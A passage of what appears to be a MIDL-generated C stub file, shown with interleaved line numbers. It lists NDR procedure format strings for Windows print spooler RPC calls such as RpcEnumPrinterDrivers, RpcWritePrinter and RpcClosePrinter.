0x8 ), /* 8 */ 406 | /* 374 */ 0x44, /* Oi2 Flags: has return, has ext, */ 407 | 0x1, /* 1 */ 408 | /* 376 */ 0xa, /* 10 */ 409 | 0x1, /* Ext Flags: new corr desc, */ 410 | /* 378 */ NdrFcShort( 0x0 ), /* 0 */ 411 | /* 380 */ NdrFcShort( 0x0 ), /* 0 */ 412 | /* 382 */ NdrFcShort( 0x0 ), /* 0 */ 413 | /* 384 */ NdrFcShort( 0x0 ), /* 0 */ 414 | 415 | /* Return value */ 416 | 417 | /* 386 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 418 | /* 388 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 419 | /* 390 */ 0x8, /* FC_LONG */ 420 | 0x0, /* 0 */ 421 | 422 | /* Procedure RpcEnumPrinterDrivers */ 423 | 424 | /* 392 */ 0x0, /* 0 */ 425 | 0x48, /* Old Flags: */ 426 | /* 394 */ NdrFcLong( 0x0 ), /* 0 */ 427 | /* 398 */ NdrFcShort( 0xa ), /* 10 */ 428 | /* 400 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 429 | /* 402 */ 0x32, /* FC_BIND_PRIMITIVE */ 430 | 0x0, /* 0 */ 431 | /* 404 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 432 | /* 406 */ NdrFcShort( 0x0 ), /* 0 */ 433 | /* 408 */ NdrFcShort( 0x8 ), /* 8 */ 434 | /* 410 */ 0x44, /* Oi2 Flags: has return, has ext, */ 435 | 0x1, /* 1 */ 436 | /* 412 */ 0xa, /* 10 */ 437 | 0x1, /* Ext Flags: new corr desc, */ 438 | /* 414 */ NdrFcShort( 0x0 ), /* 0 */ 439 | /* 416 */ NdrFcShort( 0x0 ), /* 0 */ 440 | /* 418 */ NdrFcShort( 0x0 ), /* 0 */ 441 | /* 420 */ NdrFcShort( 0x0 ), /* 0 */ 442 | 443 | /* Return value */ 444 | 445 | /* 422 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 446 | /* 424 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 447 | /* 426 */ 0x8, /* FC_LONG */ 448 | 0x0, /* 0 */ 449 | 450 | /* Procedure RpcGetPrinterDriver */ 451 | 452 | /* 428 */ 0x0, /* 0 */ 453 | 0x48, /* Old Flags: */ 454 | /* 430 */ NdrFcLong( 0x0 ), /* 0 */ 455 | /* 434 */ NdrFcShort( 0xb ), /* 11 */ 456 | /* 436 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 457 | /* 438 */ 0x32, /* FC_BIND_PRIMITIVE */ 458 | 0x0, /* 0 */ 459 | /* 440 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 460 | /* 442 */ NdrFcShort( 0x0 ), /* 0 */ 461 | /* 444 */ NdrFcShort( 0x8 ), /* 8 */ 462 | /* 446 */ 0x44, /* Oi2 Flags: has return, has ext, */ 463 | 0x1, /* 1 */ 464 | /* 448 */ 0xa, /* 10 */ 465 | 0x1, /* Ext Flags: new corr desc, */ 466 | /* 450 */ NdrFcShort( 0x0 ), /* 0 */ 467 | /* 452 */ NdrFcShort( 0x0 ), /* 0 */ 468 | /* 454 */ NdrFcShort( 0x0 ), /* 0 */ 469 | /* 456 */ NdrFcShort( 0x0 ), /* 0 */ 470 | 471 | /* Return value */ 472 | 473 | /* 458 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 474 | /* 460 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 475 | /* 462 */ 0x8, /* FC_LONG */ 476 | 0x0, /* 0 */ 477 | 478 | /* Procedure RpcGetPrinterDriverDirectory */ 479 | 480 | /* 464 */ 0x0, /* 0 */ 481 | 0x48, /* Old Flags: */ 482 | /* 466 */ NdrFcLong( 0x0 ), /* 0 */ 483 | /* 470 */ NdrFcShort( 0xc ), /* 12 */ 484 | /* 472 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 485 | /* 474 */ 0x32, /* FC_BIND_PRIMITIVE */ 486 | 0x0, /* 0 */ 487 | /* 476 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 488 | /* 478 */ NdrFcShort( 0x0 ), /* 0 */ 489 | /* 480 */ NdrFcShort( 0x8 ), /* 8 */ 490 | /* 482 */ 0x44, /* Oi2 Flags: has return, has ext, */ 491 | 0x1, /* 1 */ 492 | /* 484 */ 0xa, /* 10 */ 493 | 0x1, /* Ext Flags: new corr desc, */ 494 | /* 486 */ NdrFcShort( 0x0 ), /* 0 */ 495 | /* 488 */ NdrFcShort( 0x0 ), /* 0 */ 496 | /* 490 */ NdrFcShort( 0x0 ), /* 0 */ 497 | /* 492 */ NdrFcShort( 0x0 ), /* 0 */ 498 | 499 | /* Return value */ 500 | 501 | /* 494 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 502 | /* 496 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 503 | /* 498 */ 0x8, /* FC_LONG */ 504 | 0x0, /* 0 */ 505 | 506 | /* Procedure RpcDeletePrinterDriver */ 507 | 508 | /* 500 */ 0x0, /* 0 */ 509 | 0x48, /* Old Flags: */ 510 | /* 502 */ NdrFcLong( 0x0 ), /* 0 */ 511 | /* 506 */ NdrFcShort( 0xd ), /* 13 */ 512 | /* 508 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 513 | /* 510 */ 0x32, /* FC_BIND_PRIMITIVE */ 514 | 0x0, /* 0 */ 515 | /* 512 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 516 | /* 514 */ NdrFcShort( 0x0 ), /* 0 */ 517 | /* 516 */ NdrFcShort( 0x8 ), /* 8 */ 518 | /* 518 */ 0x44, /* Oi2 Flags: has return, has ext, */ 519 | 0x1, /* 1 */ 520 | /* 520 */ 0xa, /* 10 */ 521 | 0x1, /* Ext Flags: new corr desc, */ 522 | /* 522 */ NdrFcShort( 0x0 ), /* 0 */ 523 | /* 524 */ NdrFcShort( 0x0 ), /* 0 */ 524 | /* 526 */ NdrFcShort( 0x0 ), /* 0 */ 525 | /* 528 */ NdrFcShort( 0x0 ), /* 0 */ 526 | 527 | /* Return value */ 528 | 529 | /* 530 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 530 | /* 532 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 531 | /* 534 */ 0x8, /* FC_LONG */ 532 | 0x0, /* 0 */ 533 | 534 | /* Procedure RpcAddPrintProcessor */ 535 | 536 | /* 536 */ 0x0, /* 0 */ 537 | 0x48, /* Old Flags: */ 538 | /* 538 */ NdrFcLong( 0x0 ), /* 0 */ 539 | /* 542 */ NdrFcShort( 0xe ), /* 14 */ 540 | /* 544 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 541 | /* 546 */ 0x32, /* FC_BIND_PRIMITIVE */ 542 | 0x0, /* 0 */ 543 | /* 548 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 544 | /* 550 */ NdrFcShort( 0x0 ), /* 0 */ 545 | /* 552 */ NdrFcShort( 0x8 ), /* 8 */ 546 | /* 554 */ 0x44, /* Oi2 Flags: has return, has ext, */ 547 | 0x1, /* 1 */ 548 | /* 556 */ 0xa, /* 10 */ 549 | 0x1, /* Ext Flags: new corr desc, */ 550 | /* 558 */ NdrFcShort( 0x0 ), /* 0 */ 551 | /* 560 */ NdrFcShort( 0x0 ), /* 0 */ 552 | /* 562 */ NdrFcShort( 0x0 ), /* 0 */ 553 | /* 564 */ NdrFcShort( 0x0 ), /* 0 */ 554 | 555 | /* Return value */ 556 | 557 | /* 566 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 558 | /* 568 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 559 | /* 570 */ 0x8, /* FC_LONG */ 560 | 0x0, /* 0 */ 561 | 562 | /* Procedure RpcEnumPrintProcessors */ 563 | 564 | /* 572 */ 0x0, /* 0 */ 565 | 0x48, /* Old Flags: */ 566 | /* 574 */ NdrFcLong( 0x0 ), /* 0 */ 567 | /* 578 */ NdrFcShort( 0xf ), /* 15 */ 568 | /* 580 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 569 | /* 582 */ 0x32, /* FC_BIND_PRIMITIVE */ 570 | 0x0, /* 0 */ 571 | /* 584 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 572 | /* 586 */ NdrFcShort( 0x0 ), /* 0 */ 573 | /* 588 */ NdrFcShort( 0x8 ), /* 8 */ 574 | /* 590 */ 0x44, /* Oi2 Flags: has return, has ext, */ 575 | 0x1, /* 1 */ 576 | /* 592 */ 0xa, /* 10 */ 577 | 0x1, /* Ext Flags: new corr desc, */ 578 | /* 594 */ NdrFcShort( 0x0 ), /* 0 */ 579 | /* 596 */ NdrFcShort( 0x0 ), /* 0 */ 580 | /* 598 */ NdrFcShort( 0x0 ), /* 0 */ 581 | /* 600 */ NdrFcShort( 0x0 ), /* 0 */ 582 | 583 | /* Return value */ 584 | 585 | /* 602 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 586 | /* 604 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 587 | /* 606 */ 0x8, /* FC_LONG */ 588 | 0x0, /* 0 */ 589 | 590 | /* Procedure RpcGetPrintProcessorDirectory */ 591 | 592 | /* 608 */ 0x0, /* 0 */ 593 | 0x48, /* Old Flags: */ 594 | /* 610 */ NdrFcLong( 0x0 ), /* 0 */ 595 | /* 614 */ NdrFcShort( 0x10 ), /* 16 */ 596 | /* 616 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 597 | /* 618 */ 0x32, /* FC_BIND_PRIMITIVE */ 598 | 0x0, /* 0 */ 599 | /* 620 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 600 | /* 622 */ NdrFcShort( 0x0 ), /* 0 */ 601 | /* 624 */ NdrFcShort( 0x8 ), /* 8 */ 602 | /* 626 */ 0x44, /* Oi2 Flags: has return, has ext, */ 603 | 0x1, /* 1 */ 604 | /* 628 */ 0xa, /* 10 */ 605 | 0x1, /* Ext Flags: new corr desc, */ 606 | /* 630 */ NdrFcShort( 0x0 ), /* 0 */ 607 | /* 632 */ NdrFcShort( 0x0 ), /* 0 */ 608 | /* 634 */ NdrFcShort( 0x0 ), /* 0 */ 609 | /* 636 */ NdrFcShort( 0x0 ), /* 0 */ 610 | 611 | /* Return value */ 612 | 613 | /* 638 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 614 | /* 640 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 615 | /* 642 */ 0x8, /* FC_LONG */ 616 | 0x0, /* 0 */ 617 | 618 | /* Procedure RpcStartDocPrinter */ 619 | 620 | /* 644 */ 0x0, /* 0 */ 621 | 0x48, /* Old Flags: */ 622 | /* 646 */ NdrFcLong( 0x0 ), /* 0 */ 623 | /* 650 */ NdrFcShort( 0x11 ), /* 17 */ 624 | /* 652 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 625 | /* 654 */ 0x32, /* FC_BIND_PRIMITIVE */ 626 | 0x0, /* 0 */ 627 | /* 656 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 628 | /* 658 */ NdrFcShort( 0x0 ), /* 0 */ 629 | /* 660 */ NdrFcShort( 0x8 ), /* 8 */ 630 | /* 662 */ 0x44, /* Oi2 Flags: has return, has ext, */ 631 | 0x1, /* 1 */ 632 | /* 664 */ 0xa, /* 10 */ 633 | 0x1, /* Ext Flags: new corr desc, */ 634 | /* 666 */ NdrFcShort( 0x0 ), /* 0 */ 635 | /* 668 */ NdrFcShort( 0x0 ), /* 0 */ 636 | /* 670 */ NdrFcShort( 0x0 ), /* 0 */ 637 | /* 672 */ NdrFcShort( 0x0 ), /* 0 */ 638 | 639 | /* Return value */ 640 | 641 | /* 674 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 642 | /* 676 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 643 | /* 678 */ 0x8, /* FC_LONG */ 644 | 0x0, /* 0 */ 645 | 646 | /* Procedure RpcStartPagePrinter */ 647 | 648 | /* 680 */ 0x0, /* 0 */ 649 | 0x48, /* Old Flags: */ 650 | /* 682 */ NdrFcLong( 0x0 ), /* 0 */ 651 | /* 686 */ NdrFcShort( 0x12 ), /* 18 */ 652 | /* 688 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 653 | /* 690 */ 0x32, /* FC_BIND_PRIMITIVE */ 654 | 0x0, /* 0 */ 655 | /* 692 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 656 | /* 694 */ NdrFcShort( 0x0 ), /* 0 */ 657 | /* 696 */ NdrFcShort( 0x8 ), /* 8 */ 658 | /* 698 */ 0x44, /* Oi2 Flags: has return, has ext, */ 659 | 0x1, /* 1 */ 660 | /* 700 */ 0xa, /* 10 */ 661 | 0x1, /* Ext Flags: new corr desc, */ 662 | /* 702 */ NdrFcShort( 0x0 ), /* 0 */ 663 | /* 704 */ NdrFcShort( 0x0 ), /* 0 */ 664 | /* 706 */ NdrFcShort( 0x0 ), /* 0 */ 665 | /* 708 */ NdrFcShort( 0x0 ), /* 0 */ 666 | 667 | /* Return value */ 668 | 669 | /* 710 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 670 | /* 712 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 671 | /* 714 */ 0x8, /* FC_LONG */ 672 | 0x0, /* 0 */ 673 | 674 | /* Procedure RpcWritePrinter */ 675 | 676 | /* 716 */ 0x0, /* 0 */ 677 | 0x48, /* Old Flags: */ 678 | /* 718 */ NdrFcLong( 0x0 ), /* 0 */ 679 | /* 722 */ NdrFcShort( 0x13 ), /* 19 */ 680 | /* 724 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 681 | /* 726 */ 0x32, /* FC_BIND_PRIMITIVE */ 682 | 0x0, /* 0 */ 683 | /* 728 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 684 | /* 730 */ NdrFcShort( 0x0 ), /* 0 */ 685 | /* 732 */ NdrFcShort( 0x8 ), /* 8 */ 686 | /* 734 */ 0x44, /* Oi2 Flags: has return, has ext, */ 687 | 0x1, /* 1 */ 688 | /* 736 */ 0xa, /* 10 */ 689 | 0x1, /* Ext Flags: new corr desc, */ 690 | /* 738 */ NdrFcShort( 0x0 ), /* 0 */ 691 | /* 740 */ NdrFcShort( 0x0 ), /* 0 */ 692 | /* 742 */ NdrFcShort( 0x0 ), /* 0 */ 693 | /* 744 */ NdrFcShort( 0x0 ), /* 0 */ 694 | 695 | /* Return value */ 696 | 697 | /* 746 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 698 | /* 748 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 699 | /* 750 */ 0x8, /* FC_LONG */ 700 | 0x0, /* 0 */ 701 | 702 | /* Procedure RpcEndPagePrinter */ 703 | 704 | /* 752 */ 0x0, /* 0 */ 705 | 0x48, /* Old Flags: */ 706 | /* 754 */ NdrFcLong( 0x0 ), /* 0 */ 707 | /* 758 */ NdrFcShort( 0x14 ), /* 20 */ 708 | /* 760 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 709 | /* 762 */ 0x32, /* FC_BIND_PRIMITIVE */ 710 | 0x0, /* 0 */ 711 | /* 764 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 712 | /* 766 */ NdrFcShort( 0x0 ), /* 0 */ 713 | /* 768 */ NdrFcShort( 0x8 ), /* 8 */ 714 | /* 770 */ 0x44, /* Oi2 Flags: has return, has ext, */ 715 | 0x1, /* 1 */ 716 | /* 772 */ 0xa, /* 10 */ 717 | 0x1, /* Ext Flags: new corr desc, */ 718 | /* 774 */ NdrFcShort( 0x0 ), /* 0 */ 719 | /* 776 */ NdrFcShort( 0x0 ), /* 0 */ 720 | /* 778 */ NdrFcShort( 0x0 ), /* 0 */ 721 | /* 780 */ NdrFcShort( 0x0 ), /* 0 */ 722 | 723 | /* Return value */ 724 | 725 | /* 782 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 726 | /* 784 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 727 | /* 786 */ 0x8, /* FC_LONG */ 728 | 0x0, /* 0 */ 729 | 730 | /* Procedure RpcAbortPrinter */ 731 | 732 | /* 788 */ 0x0, /* 0 */ 733 | 0x48, /* Old Flags: */ 734 | /* 790 */ NdrFcLong( 0x0 ), /* 0 */ 735 | /* 794 */ NdrFcShort( 0x15 ), /* 21 */ 736 | /* 796 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 737 | /* 798 */ 0x32, /* FC_BIND_PRIMITIVE */ 738 | 0x0, /* 0 */ 739 | /* 800 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 740 | /* 802 */ NdrFcShort( 0x0 ), /* 0 */ 741 | /* 804 */ NdrFcShort( 0x8 ), /* 8 */ 742 | /* 806 */ 0x44, /* Oi2 Flags: has return, has ext, */ 743 | 0x1, /* 1 */ 744 | /* 808 */ 0xa, /* 10 */ 745 | 0x1, /* Ext Flags: new corr desc, */ 746 | /* 810 */ NdrFcShort( 0x0 ), /* 0 */ 747 | /* 812 */ NdrFcShort( 0x0 ), /* 0 */ 748 | /* 814 */ NdrFcShort( 0x0 ), /* 0 */ 749 | /* 816 */ NdrFcShort( 0x0 ), /* 0 */ 750 | 751 | /* Return value */ 752 | 753 | /* 818 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 754 | /* 820 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 755 | /* 822 */ 0x8, /* FC_LONG */ 756 | 0x0, /* 0 */ 757 | 758 | /* Procedure RpcReadPrinter */ 759 | 760 | /* 824 */ 0x0, /* 0 */ 761 | 0x48, /* Old Flags: */ 762 | /* 826 */ NdrFcLong( 0x0 ), /* 0 */ 763 | /* 830 */ NdrFcShort( 0x16 ), /* 22 */ 764 | /* 832 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 765 | /* 834 */ 0x32, /* FC_BIND_PRIMITIVE */ 766 | 0x0, /* 0 */ 767 | /* 836 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 768 | /* 838 */ NdrFcShort( 0x0 ), /* 0 */ 769 | /* 840 */ NdrFcShort( 0x8 ), /* 8 */ 770 | /* 842 */ 0x44, /* Oi2 Flags: has return, has ext, */ 771 | 0x1, /* 1 */ 772 | /* 844 */ 0xa, /* 10 */ 773 | 0x1, /* Ext Flags: new corr desc, */ 774 | /* 846 */ NdrFcShort( 0x0 ), /* 0 */ 775 | /* 848 */ NdrFcShort( 0x0 ), /* 0 */ 776 | /* 850 */ NdrFcShort( 0x0 ), /* 0 */ 777 | /* 852 */ NdrFcShort( 0x0 ), /* 0 */ 778 | 779 | /* Return value */ 780 | 781 | /* 854 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 782 | /* 856 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 783 | /* 858 */ 0x8, /* FC_LONG */ 784 | 0x0, /* 0 */ 785 | 786 | /* Procedure RpcEndDocPrinter */ 787 | 788 | /* 860 */ 0x0, /* 0 */ 789 | 0x48, /* Old Flags: */ 790 | /* 862 */ NdrFcLong( 0x0 ), /* 0 */ 791 | /* 866 */ NdrFcShort( 0x17 ), /* 23 */ 792 | /* 868 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 793 | /* 870 */ 0x32, /* FC_BIND_PRIMITIVE */ 794 | 0x0, /* 0 */ 795 | /* 872 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 796 | /* 874 */ NdrFcShort( 0x0 ), /* 0 */ 797 | /* 876 */ NdrFcShort( 0x8 ), /* 8 */ 798 | /* 878 */ 0x44, /* Oi2 Flags: has return, has ext, */ 799 | 0x1, /* 1 */ 800 | /* 880 */ 0xa, /* 10 */ 801 | 0x1, /* Ext Flags: new corr desc, */ 802 | /* 882 */ NdrFcShort( 0x0 ), /* 0 */ 803 | /* 884 */ NdrFcShort( 0x0 ), /* 0 */ 804 | /* 886 */ NdrFcShort( 0x0 ), /* 0 */ 805 | /* 888 */ NdrFcShort( 0x0 ), /* 0 */ 806 | 807 | /* Return value */ 808 | 809 | /* 890 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 810 | /* 892 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 811 | /* 894 */ 0x8, /* FC_LONG */ 812 | 0x0, /* 0 */ 813 | 814 | /* Procedure RpcAddJob */ 815 | 816 | /* 896 */ 0x0, /* 0 */ 817 | 0x48, /* Old Flags: */ 818 | /* 898 */ NdrFcLong( 0x0 ), /* 0 */ 819 | /* 902 */ NdrFcShort( 0x18 ), /* 24 */ 820 | /* 904 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 821 | /* 906 */ 0x32, /* FC_BIND_PRIMITIVE */ 822 | 0x0, /* 0 */ 823 | /* 908 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 824 | /* 910 */ NdrFcShort( 0x0 ), /* 0 */ 825 | /* 912 */ NdrFcShort( 0x8 ), /* 8 */ 826 | /* 914 */ 0x44, /* Oi2 Flags: has return, has ext, */ 827 | 0x1, /* 1 */ 828 | /* 916 */ 0xa, /* 10 */ 829 | 0x1, /* Ext Flags: new corr desc, */ 830 | /* 918 */ NdrFcShort( 0x0 ), /* 0 */ 831 | /* 920 */ NdrFcShort( 0x0 ), /* 0 */ 832 | /* 922 */ NdrFcShort( 0x0 ), /* 0 */ 833 | /* 924 */ NdrFcShort( 0x0 ), /* 0 */ 834 | 835 | /* Return value */ 836 | 837 | /* 926 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 838 | /* 928 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 839 | /* 930 */ 0x8, /* FC_LONG */ 840 | 0x0, /* 0 */ 841 | 842 | /* Procedure RpcScheduleJob */ 843 | 844 | /* 932 */ 0x0, /* 0 */ 845 | 0x48, /* Old Flags: */ 846 | /* 934 */ NdrFcLong( 0x0 ), /* 0 */ 847 | /* 938 */ NdrFcShort( 0x19 ), /* 25 */ 848 | /* 940 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 849 | /* 942 */ 0x32, /* FC_BIND_PRIMITIVE */ 850 | 0x0, /* 0 */ 851 | /* 944 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 852 | /* 946 */ NdrFcShort( 0x0 ), /* 0 */ 853 | /* 948 */ NdrFcShort( 0x8 ), /* 8 */ 854 | /* 950 */ 0x44, /* Oi2 Flags: has return, has ext, */ 855 | 0x1, /* 1 */ 856 | /* 952 */ 0xa, /* 10 */ 857 | 0x1, /* Ext Flags: new corr desc, */ 858 | /* 954 */ NdrFcShort( 0x0 ), /* 0 */ 859 | /* 956 */ NdrFcShort( 0x0 ), /* 0 */ 860 | /* 958 */ NdrFcShort( 0x0 ), /* 0 */ 861 | /* 960 */ NdrFcShort( 0x0 ), /* 0 */ 862 | 863 | /* Return value */ 864 | 865 | /* 962 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 866 | /* 964 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 867 | /* 966 */ 0x8, /* FC_LONG */ 868 | 0x0, /* 0 */ 869 | 870 | /* Procedure RpcGetPrinterData */ 871 | 872 | /* 968 */ 0x0, /* 0 */ 873 | 0x48, /* Old Flags: */ 874 | /* 970 */ NdrFcLong( 0x0 ), /* 0 */ 875 | /* 974 */ NdrFcShort( 0x1a ), /* 26 */ 876 | /* 976 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 877 | /* 978 */ 0x32, /* FC_BIND_PRIMITIVE */ 878 | 0x0, /* 0 */ 879 | /* 980 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 880 | /* 982 */ NdrFcShort( 0x0 ), /* 0 */ 881 | /* 984 */ NdrFcShort( 0x8 ), /* 8 */ 882 | /* 986 */ 0x44, /* Oi2 Flags: has return, has ext, */ 883 | 0x1, /* 1 */ 884 | /* 988 */ 0xa, /* 10 */ 885 | 0x1, /* Ext Flags: new corr desc, */ 886 | /* 990 */ NdrFcShort( 0x0 ), /* 0 */ 887 | /* 992 */ NdrFcShort( 0x0 ), /* 0 */ 888 | /* 994 */ NdrFcShort( 0x0 ), /* 0 */ 889 | /* 996 */ NdrFcShort( 0x0 ), /* 0 */ 890 | 891 | /* Return value */ 892 | 893 | /* 998 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 894 | /* 1000 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 895 | /* 1002 */ 0x8, /* FC_LONG */ 896 | 0x0, /* 0 */ 897 | 898 | /* Procedure RpcSetPrinterData */ 899 | 900 | /* 1004 */ 0x0, /* 0 */ 901 | 0x48, /* Old Flags: */ 902 | /* 1006 */ NdrFcLong( 0x0 ), /* 0 */ 903 | /* 1010 */ NdrFcShort( 0x1b ), /* 27 */ 904 | /* 1012 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 905 | /* 1014 */ 0x32, /* FC_BIND_PRIMITIVE */ 906 | 0x0, /* 0 */ 907 | /* 1016 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 908 | /* 1018 */ NdrFcShort( 0x0 ), /* 0 */ 909 | /* 1020 */ NdrFcShort( 0x8 ), /* 8 */ 910 | /* 1022 */ 0x44, /* Oi2 Flags: has return, has ext, */ 911 | 0x1, /* 1 */ 912 | /* 1024 */ 0xa, /* 10 */ 913 | 0x1, /* Ext Flags: new corr desc, */ 914 | /* 1026 */ NdrFcShort( 0x0 ), /* 0 */ 915 | /* 1028 */ NdrFcShort( 0x0 ), /* 0 */ 916 | /* 1030 */ NdrFcShort( 0x0 ), /* 0 */ 917 | /* 1032 */ NdrFcShort( 0x0 ), /* 0 */ 918 | 919 | /* Return value */ 920 | 921 | /* 1034 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 922 | /* 1036 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 923 | /* 1038 */ 0x8, /* FC_LONG */ 924 | 0x0, /* 0 */ 925 | 926 | /* Procedure RpcWaitForPrinterChange */ 927 | 928 | /* 1040 */ 0x0, /* 0 */ 929 | 0x48, /* Old Flags: */ 930 | /* 1042 */ NdrFcLong( 0x0 ), /* 0 */ 931 | /* 1046 */ NdrFcShort( 0x1c ), /* 28 */ 932 | /* 1048 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 933 | /* 1050 */ 0x32, /* FC_BIND_PRIMITIVE */ 934 | 0x0, /* 0 */ 935 | /* 1052 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 936 | /* 1054 */ NdrFcShort( 0x0 ), /* 0 */ 937 | /* 1056 */ NdrFcShort( 0x8 ), /* 8 */ 938 | /* 1058 */ 0x44, /* Oi2 Flags: has return, has ext, */ 939 | 0x1, /* 1 */ 940 | /* 1060 */ 0xa, /* 10 */ 941 | 0x1, /* Ext Flags: new corr desc, */ 942 | /* 1062 */ NdrFcShort( 0x0 ), /* 0 */ 943 | /* 1064 */ NdrFcShort( 0x0 ), /* 0 */ 944 | /* 1066 */ NdrFcShort( 0x0 ), /* 0 */ 945 | /* 1068 */ NdrFcShort( 0x0 ), /* 0 */ 946 | 947 | /* Return value */ 948 | 949 | /* 1070 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 950 | /* 1072 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 951 | /* 1074 */ 0x8, /* FC_LONG */ 952 | 0x0, /* 0 */ 953 | 954 | /* Procedure RpcClosePrinter */ 955 | 956 | /* 1076 */ 0x0, /* 0 */ 957 | 0x48, /* Old Flags: */ 958 | /* 1078 */ NdrFcLong( 0x0 ), /* 0 */ 959 | /* 1082 */ NdrFcShort( 0x1d ), /* 29 */ 960 | /* 1084 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 961 | /* 1086 */ 0x30, /* FC_BIND_CONTEXT */ 962 | 0xe0, /* Ctxt flags: via ptr, in, out, */ 963 | /* 1088 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 964 | /* 1090 */ 0x0, /* 0 */ 965 | 0x0, /* 0 */ 966 | /* 1092 */ NdrFcShort( 0x38 ), /* 56 */ 967 | /* 1094 */ NdrFcShort( 0x40 ), /* 64 */ 968 | /* 1096 */ 0x44, /* Oi2 Flags: has return, has ext, */ 969 | 0x2, /* 2 */ 970 | /* 1098 */ 0xa, /* 10 */ 971 | 0x1, /* Ext Flags: new corr desc, */ 972 | /* 1100 */ NdrFcShort( 0x0 ), /* 0 */ 973 | /* 1102 */ NdrFcShort( 0x0 ), /* 0 */ 974 | /* 1104 */ NdrFcShort( 0x0 ), /* 0 */ 975 | /* 1106 */ NdrFcShort( 0x0 ), /* 0 */ 976 | 977 | /* Parameter phPrinter */ 978 | 979 | /* 1108 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ 980 | /* 1110 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 981 | /* 1112 */ NdrFcShort( 0x32 ), /* Type Offset=50 */ 982 | 983 | /* Return value */ 984 | 985 | /* 1114 */ 